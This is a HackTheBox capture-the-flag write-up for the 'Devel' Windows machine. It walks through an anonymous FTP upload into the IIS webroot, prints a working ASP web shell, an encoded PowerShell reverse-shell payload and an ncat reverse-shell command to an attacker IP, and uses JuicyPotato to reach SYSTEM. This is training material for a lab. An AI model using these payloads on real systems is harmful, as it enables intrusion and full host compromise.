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Devel | May 16, 2023

Introduction

Welcome to my another writeup! In this HackTheBox Devel machine, you’ll learn: Web shell upload, Windows privilege escalation, and more! Without further ado, let’s dive in.

Table of Content

  1. Service Enumeration
  2. Initial Foothold
  3. Privilege Escalation: iis apppool\web to NT AUTHORITY\SYSTEM
  4. Conclusion

Background

Service Enumeration

As usual, scan the machine for open ports via rustscan!

Rustscan:

┌[siunam♥earth]-(~/ctf/htb/Machines/Devel)-[2023.05.16|20:20:21(HKT)]
└> export RHOSTS=10.10.10.5                                   
┌[siunam♥earth]-(~/ctf/htb/Machines/Devel)-[2023.05.16|20:20:28(HKT)]
└> rustscan --ulimit 5000 -b 4500 -t 2000 --range 1-65535 $RHOSTS -- -sC -sV -oN rustscan/rustscan.txt 
[...]
PORT   STATE SERVICE REASON  VERSION
21/tcp open  ftp     syn-ack Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17  02:06AM       <DIR>          aspnet_client
| 03-17-17  05:37PM                  689 iisstart.htm
|_03-17-17  05:37PM               184946 welcome.png
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp open  http    syn-ack Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

According to rustscan result, we have 2 ports are opened:

Open Port Service
21 Microsoft ftpd
80 Microsoft IIS httpd 7.5

FTP on Port 21

In the above nmap script scanning, the FTP service allows anonymous (guest) login.

Let’s login as anonymous:

┌[siunam♥earth]-(~/ctf/htb/Machines/Devel)-[2023.05.16|20:20:28(HKT)]
└> ftp $RHOSTS                   
Connected to 10.10.10.5.
220 Microsoft FTP Service
Name (10.10.10.5:siunam): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp>

Now, enumerate all the files and directories in here!

ftp> ls -lah
229 Entering Extended Passive Mode (|||49158|)
125 Data connection already open; Transfer starting.
03-18-17  02:06AM       <DIR>          aspnet_client
03-17-17  05:37PM                  689 iisstart.htm
03-17-17  05:37PM               184946 welcome.png

In here, we can see that it has a directory called aspnet_client, and files iisstart.htm, welcome.png.

Which means this FTP share can access the IIS (Internet Information Services) web server!

Can we upload any files?

┌[siunam♥earth]-(~/ctf/htb/Machines/Devel)-[2023.05.16|20:25:06(HKT)]
└> touch anything
ftp> put anything
local: anything remote: anything
[...]
ftp> ls
229 Entering Extended Passive Mode (|||49174|)
125 Data connection already open; Transfer starting.
05-16-23  03:25PM                    0 anything
03-18-17  02:06AM       <DIR>          aspnet_client
03-17-17  05:37PM                  689 iisstart.htm
03-17-17  05:37PM               184946 welcome.png
226 Transfer complete.

We can!!

Maybe we can upload a ASP webshell later on.

Speaking of IIS, let’s enumerate the HTTP port.

HTTP on Port 80

Before we access the web server, let’s add a new host to /etc/hosts:

┌[siunam♥earth]-(~/ctf/htb/Machines/Devel)-[2023.05.16|20:27:05(HKT)]
└> echo "$RHOSTS devel.htb" | sudo tee -a /etc/hosts

Home page:

A default IIS web server page. Nothing weird.

Now, we could start to do content discovery via tools like gobuster.

However, since we have access to the FTP server, and it’s a share directory for the IIS web server, we can view it’s all files and directories:

ftp> ls aspnet_client
229 Entering Extended Passive Mode (|||49176|)
150 Opening ASCII mode data connection.
03-18-17  02:06AM       <DIR>          system_web
226 Transfer complete.
ftp> ls aspnet_client/system_web
229 Entering Extended Passive Mode (|||49178|)
125 Data connection already open; Transfer starting.
03-18-17  02:06AM       <DIR>          2_0_50727
226 Transfer complete.
ftp> ls aspnet_client/system_web/2_0_50727
229 Entering Extended Passive Mode (|||49180|)
125 Data connection already open; Transfer starting.
226 Transfer complete.

Ah… It’s all empty.

So, let’s upload our web shell!

Initial Foothold

But first, I wanna confirm our uploaded files are really exist on port 80’s web server:

┌[siunam♥earth]-(~/ctf/htb/Machines/Devel)-[2023.05.16|20:31:18(HKT)]
└> echo 'FTP upload test' > test.txt                          
ftp> put test.txt 
local: test.txt remote: test.txt
229 Entering Extended Passive Mode (|||49181|)
125 Data connection already open; Transfer starting.
100% |**************************************************************|    17      313.23 KiB/s    --:-- ETA
226 Transfer complete.
17 bytes sent in 00:00 (0.47 KiB/s)

┌[siunam♥earth]-(~/ctf/htb/Machines/Devel)-[2023.05.16|20:31:31(HKT)]
└> curl http://devel.htb/test.txt  
FTP upload test

Yep! It’s really exist on there!

ASP web shell: (Modified from https://github.com/tennc/webshell/blob/master/asp/webshell.asp)

<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
Function getCommandOutput(theCommand)
    Dim objShell, objCmdExec
    Set objShell = CreateObject("WScript.Shell")
    Set objCmdExec = objshell.exec(thecommand)
    getCommandOutput = objCmdExec.StdOut.ReadAll
end Function

szCMD = request("cmd")
thisDir = getCommandOutput("cmd /c" & szCMD)
Response.Write(thisDir)
%>

┌[siunam♥earth]-(~/ctf/htb/Machines/Devel)-[2023.05.16|20:39:19(HKT)]
└> nano webshell.asp 
ftp> put webshell.asp 
[...]
511 bytes sent in 00:00 (14.08 KiB/s)

Now we have Remote Code Execution (RCE) on the IIS web server:

┌[siunam♥earth]-(~/ctf/htb/Machines/Devel)-[2023.05.16|20:40:16(HKT)]
└> curl http://devel.htb/webshell.asp --get --data-urlencode "cmd=whoami && ipconfig"
iis apppool\web

Windows IP Configuration


Ethernet adapter Local Area Connection 3:

   Connection-specific DNS Suffix  . : 
   IPv6 Address. . . . . . . . . . . : dead:beef::58c0:f1cf:abc6:bb9e
   Temporary IPv6 Address. . . . . . : dead:beef::e579:7afa:32ae:836a
   Link-local IPv6 Address . . . . . : fe80::58c0:f1cf:abc6:bb9e%15
   IPv4 Address. . . . . . . . . . . : 10.10.10.5
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:6ca8%15
                                       10.10.10.2
[...]

Let’s get a reverse shell!

┌[siunam♥earth]-(~/ctf/htb/Machines/Devel)-[2023.05.16|20:57:42(HKT)]
└> sudo rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...


┌[siunam♥earth]-(~/ctf/htb/Machines/Devel)-[2023.05.16|20:57:10(HKT)]
└> curl http://devel.htb/webshell.asp --get --data-urlencode "cmd=powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMgA2ACIALAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="

┌[siunam♥earth]-(~/ctf/htb/Machines/Devel)-[2023.05.16|20:57:42(HKT)]
└> sudo rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.26] from (UNKNOWN) [10.10.10.5] 49205

PS C:\windows\system32\inetsrv> whoami;ipconfig
iis apppool\web

Windows IP Configuration


Ethernet adapter Local Area Connection 3:

   Connection-specific DNS Suffix  . : 
   IPv6 Address. . . . . . . . . . . : dead:beef::58c0:f1cf:abc6:bb9e
   Temporary IPv6 Address. . . . . . : dead:beef::e579:7afa:32ae:836a
   Link-local IPv6 Address . . . . . : fe80::58c0:f1cf:abc6:bb9e%15
   IPv4 Address. . . . . . . . . . . : 10.10.10.5
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:6ca8%15
                                       10.10.10.2
[...]
PS C:\windows\system32\inetsrv>

I’m iis apppool\web!

Privilege Escalation

iis apppool\web to NT AUTHORITY\SYSTEM

Let’s enumerate users!

PS C:\windows\system32\inetsrv> net user

User accounts for \\

-------------------------------------------------------------------------------
Administrator            babis                    Guest

In here, we see there’s a user called babis:

PS C:\windows\system32\inetsrv> net user babis
User name                    babis
[...]
Local Group Memberships      *Users                
Global Group memberships     *None

And it just a regular user, nothing weird.

PS C:\windows\system32\inetsrv> gci c:\users\babis
PS C:\windows\system32\inetsrv>

Couldn’t access user babis’s home directory.

How about us?

PS C:\windows\system32\inetsrv> whoami /all

USER INFORMATION
----------------

User Name       SID                                                           
=============== ==============================================================
iis apppool\web S-1-5-82-2971860261-2701350812-2118117159-340795515-2183480550


GROUP INFORMATION
-----------------

Group Name                           Type             SID          Attributes                                        
==================================== ================ ============ ==================================================
Mandatory Label\High Mandatory Level Label            S-1-16-12288                                                   
Everyone                             Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                        Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                 Well-known group S-1-5-6      Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                        Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users     Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization       Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
BUILTIN\IIS_IUSRS                    Alias            S-1-5-32-568 Mandatory group, Enabled by default, Enabled group
LOCAL                                Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
                                     Unknown SID type S-1-5-82-0   Mandatory group, Enabled by default, Enabled group


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeShutdownPrivilege           Shut down the system                      Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeUndockPrivilege             Remove computer from docking station      Disabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
SeTimeZonePrivilege           Change the time zone                      Disabled

In the group information, we see that our integrity level is at “High Mandatory Level”, which means we’re running as administrator. Also, there’s group called NT AUTHORITY\SERVICE, which means we’re a service account.

In privileges information, we can see there’s a SeImpersonatePrivilege, this is very common in service accounts.

Check systeminfo:

PS C:\windows\system32\inetsrv> systeminfo

Host Name:                 DEVEL
OS Name:                   Microsoft Windows 7 Enterprise 
OS Version:                6.1.7600 N/A Build 7600
[...]
System Type:               X86-based PC
[...]

As you can see, this Windows machine is 32-bit (x86) Windows 7 Enterprise, version 6.1.7600 N/A Build 7600.

That being said, this Windows version is vulnerable to JuicyPotato, RoguePotato, and other Potatoes.

To escalate our privilege to NT AUTHORITY\SYSTEM, we can:

ftp> binary 
200 Type set to I.
ftp> put /opt/juicy-potato/Juicy.Potato.x86.exe JuicyPotatox86.exe
local: /opt/juicy-potato/Juicy.Potato.x86.exe remote: JuicyPotatox86.exe
[...]
263680 bytes sent in 00:00 (486.86 KiB/s)
ftp> put /opt/static-binaries/binaries/windows/x86/ncat.exe ncat.exe
local: /opt/static-binaries/binaries/windows/x86/ncat.exe remote: ncat.exe
[...]
2332672 bytes sent in 00:01 (1.94 MiB/s)

┌[siunam♥earth]-(~/ctf/htb/Machines/Devel)-[2023.05.16|21:31:14(HKT)]
└> rlwrap -cAr nc -lvnp 4444
listening on [any] 4444 ...

PS C:\windows\system32\inetsrv> c:\inetpub\wwwroot\JuicyPotatox86.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\inetpub\wwwroot\ncat.exe -e cmd.exe 10.10.14.26 4444" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

C:\Windows\system32>whoami && ipconfig
whoami && ipconfig
nt authority\system

Windows IP Configuration


Ethernet adapter Local Area Connection 3:

   Connection-specific DNS Suffix  . : 
   IPv6 Address. . . . . . . . . . . : dead:beef::58c0:f1cf:abc6:bb9e
   Temporary IPv6 Address. . . . . . : dead:beef::e579:7afa:32ae:836a
   Link-local IPv6 Address . . . . . : fe80::58c0:f1cf:abc6:bb9e%15
   IPv4 Address. . . . . . . . . . . : 10.10.10.5
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:6ca8%15
                                       10.10.10.2
[...]

I’m nt authority\system!

Rooted

user.txt:

C:\Windows\system32>type c:\users\babis\desktop\user.txt
type c:\users\babis\desktop\user.txt
{Redacted}

root.txt:

C:\Windows\system32>type c:\users\administrator\desktop\root.txt
type c:\users\administrator\desktop\root.txt
{Redacted}

Conclusion

What we’ve learned:

  1. Upload Web Shell Via Anonymous Login In FTP
  2. Vertical Privilege Escalation Via JuicyPotato